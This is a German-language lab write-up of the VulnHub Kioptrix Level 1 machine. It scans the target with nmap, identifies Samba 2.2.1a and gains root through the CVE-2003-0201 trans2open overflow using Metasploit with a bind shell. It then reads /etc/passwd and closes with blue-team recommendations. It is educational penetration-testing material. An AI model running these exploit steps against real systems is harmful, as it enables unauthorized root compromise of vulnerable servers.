pentest-writeups

Kioptrix Level 1 Write-up - CVE-2003-0201 Samba trans2open

Kioptrix Level 1 — Penetrationstest-Writeup

Autor: Amirbek Raxmatullayev (@americo_444)
Datum: 2026-06-17
Plattform: VulnHub
Schwierigkeitsgrad: Anfänger
Ziel: Root-Zugriff erlangen

1. Umgebungseinrichtung

Hinweis: VirtualBox war aufgrund eines DKMS-KVM-Namespace-Konflikts mit Kernel 7.0.0-22-generic inkompatibel. Auf QEMU/KVM umgestiegen und die VMDK direkt ohne Konvertierung geladen.

qemu-system-x86_64 \
  -m 512 \
  -drive file="Kioptix Level 1.vmdk",format=vmdk \
  -netdev bridge,id=net0,br=virbr0 \
  -device e1000,netdev=net0 \
  -display gtk

2. Aufklärung

2.1 Host-Erkennung

nmap -sn 192.168.56.0/24

Ergebnis: Ziel identifiziert unter 192.168.56.101

2.2 Vollständiger Port- und Service-Scan

nmap -sV -sC -p- 192.168.56.101

Offene Ports:

2.3 SMB-Versionsermittlung

msfconsole -q -x "use auxiliary/scanner/smb/smb_version; \
  set RHOSTS 192.168.56.101; run; exit"

Ergebnis: Samba 2.2.1a — kritisch anfällige Version bestätigt.

3. Schwachstellenanalyse

CVE-2003-0201 – Samba trans2open Pufferüberlauf

Beschreibung:
Samba-Versionen 2.2.x enthalten eine Schwachstelle durch einen stackbasierten Pufferüberlauf in der Funktion trans2open. Dadurch kann ein nicht authentifizierter Remote-Angreifer beliebigen Code mit Root-Rechten ausführen.

Betroffene Versionen: Samba 2.0.x — 2.2.8
CVSS-Score: 10.0 (Kritisch)
Exploit-Modul: exploit/linux/samba/trans2open

4. Ausnutzung

4.1 Metasploit-Konfiguration

msfconsole
use exploit/linux/samba/trans2open
set RHOSTS 192.168.56.101
set LHOST 192.168.56.1
set PAYLOAD linux/x86/shell_bind_tcp
run

Warum bind_tcp statt reverse_tcp?
Das reverse_tcp-Payload schlug fehl, da die Kioptrix-VM über die NAT/Bridge-Konfiguration nicht zum Angreifer zurückreichen konnte. Mit bind_tcp verbindet sich der Angreifer mit dem Ziel — vom Opfer ist keine ausgehende Verbindung erforderlich.

4.2 Exploit-Ausgabe

[*] Started bind TCP handler against 192.168.56.101:4444
[*] Trying return address 0xbffffdfc...
[*] Trying return address 0xbffffcfc...
...
[*] Command shell session 1 opened (192.168.56.1:36733 -> 192.168.56.101:4444)

Shell erhalten! ✅

5. Post-Exploitation

whoami
# root

id
# uid=0(root) gid=0(root) groups=99(nobody)

hostname
# kioptrix.level1

uname -a
# Linux kioptrix.level1 2.4.7-10 #1 Thu Sep 6 16:46:36 EDT 2001 i686 unknown

cat /etc/passwd
# root:x:0:0:root:/root:/bin/bash
# john:x:500:500::/home/john:/bin/bash
# harold:x:501:501::/home/harold:/bin/bash

Systeminformationen:

• Betriebssystem: Red Hat Linux, Kernel 2.4.7 (erstellt 2001)
• Entdeckte lokale Benutzer: root, john, harold

6. Angriffskette

[Attacker: 192.168.56.1]
        |
        | Step 1: nmap full port scan
        v
[Target: 192.168.56.101]
        |
        | Step 2: Samba 2.2.1a identified
        v
[Metasploit — trans2open exploit]
        |
        | Step 3: Stack buffer overflow triggered
        v
[Bind shell opened on port 4444]
        |
        | Step 4: whoami = root
        v
[TARGET PWNED]

7. Wichtigste Erkenntnisse

Was ich gelernt habe:

• Einrichten einer Laborumgebung mit QEMU/KVM, wenn VirtualBox ausfällt
• Service-Fingerprinting mit nmap -sV -sC
• SMB-Enumeration mithilfe von Metasploit-Auxiliary-Modulen
• Verständnis von CVE-2003-0201 — Mechanik des Stack-Pufferüberlaufs
• Unterschied zwischen bind_tcp- und reverse_tcp-Payloads und wann man welches verwendet

Empfehlungen für die Verteidigung (Blue Team):

1. Samba auf Version 3.x oder höher aktualisieren
2. Ports 139/445 per Firewall einschränken — nur vertrauenswürdige interne Hosts zulassen
3. Alle verfügbaren Betriebssystem- und Dienst-Patches einspielen
4. Netzwerksegmentierung implementieren — SMB sollte niemals extern erreichbar sein
5. IDS/IPS-Regeln implementieren, um Pufferüberlauf-Versuche auf SMB zu erkennen

8. Verwendete Werkzeuge

9. Referenzen

• CVE-2003-0201 — NVD
• Rapid7 — trans2open Module
• VulnHub — Kioptrix Level 1

Geschrieben von Amirbek Raxmatullayev | BEK Coders Security Research | 2026